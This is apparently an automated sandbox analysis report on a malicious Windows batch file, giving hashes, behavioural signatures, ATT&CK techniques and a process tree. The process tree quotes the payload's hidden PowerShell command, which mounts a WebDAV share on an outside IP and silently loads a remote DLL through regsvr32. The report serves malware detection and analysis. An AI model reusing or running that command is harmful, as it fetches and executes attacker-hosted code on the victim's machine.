afaff50326334e089f5e0f33bc43ea84cd802b6b41dfa5dc3a4d0061ca389479

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
21/07/2024, 07:53

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General

Target

22535303383274924201.bat
Size

6KB
MD5

ec5d37b66ca4be81a461510550470b65
SHA1

22a61381065122c6d2066b5f70807dce9fd64e94
SHA256

afaff50326334e089f5e0f33bc43ea84cd802b6b41dfa5dc3a4d0061ca389479
SHA512

c8c76ff97d68473f7d61a4b1bd3e9f571067078746448051bc00a67065b0fda86ab9b3a163b4f111dcd49dfb135381a63103cc093eb6f01f8f33ff46967bd2ea
SSDEEP

96:MhAPHmp1MTvB4fVJV0gOHnwwL35hp2q6NnNFq6NnNEEcyG7t0FVFiQCJmSsEx9i:MhvgMviRpWNdNfhDoQ3SzxY

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3160	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3160	powershell.exe
3160	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3160	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
4320	wordpad.exe
4320	wordpad.exe
4320	wordpad.exe
4320	wordpad.exe
4320	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4544 wrote to memory of 4320	4544	cmd.exe	85
PID 4544 wrote to memory of 4320	4544	cmd.exe	85
PID 4544 wrote to memory of 3160	4544	cmd.exe	87
PID 4544 wrote to memory of 3160	4544	cmd.exe	87
PID 3160 wrote to memory of 2896	3160	powershell.exe	89
PID 3160 wrote to memory of 2896	3160	powershell.exe	89
PID 3160 wrote to memory of 2256	3160	powershell.exe	90
PID 3160 wrote to memory of 2256	3160	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\22535303383274924201.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4544
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:4320
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\55042779819360.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3160
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2896
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\55042779819360.dll
    3⤵
    PID:2256

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:2220

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fvjyjzys.ljg.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3160-0-0x0000021F66ED0000-0x0000021F66EF2000-memory.dmp

Filesize
136KB

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